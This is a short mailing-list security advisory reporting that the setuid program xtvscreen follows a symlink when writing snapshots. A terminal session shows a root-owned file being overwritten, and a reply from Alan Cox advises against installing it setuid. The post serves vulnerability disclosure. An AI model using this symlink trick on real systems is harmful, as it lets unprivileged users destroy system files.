Andre Cruz wrote in to BUGTRAQ with this:
You can use xtvscreen to overwrite any file on the system.
Xtvscreen has a function to capture a snapshot and will write it as
pic000.pnm, pic001.pnm, etc in it’s working directory. It follows
[email protected]:/tmp > ls -l exp -rw-r--r-- 1 root root 4 Feb 18 15:42 exp [email protected]:~ > ln -s /tmp/exp pic000.pnm [email protected]:~ > xtvscreen Sound mixer initialized ! Using Visual TrueColor msize: 0x00640000 /* Start->Capture goes here Start->Snapshot goes here */ + Stopped xtvscreen [email protected]:~ > cd /tmp [email protected]:/tmp > ls -l exp -rw-r--r-- 1 root root 453135 Feb 18 15:47 exp [email protected]:/tmp > I don't know how to write arbitrary data to the file but it can be used for DoS. If this is already known I'm sorry.
Alan Cox responded with:
Xtvscreen really should not be installed setuid. The only reason
to do so is because something has to tell the capture card where
the frame buffer is. This should be the Xserver (patched), or one
of the small helper applications available for this.
Thanks to Paul
McNeal for the tip-off. -lt ed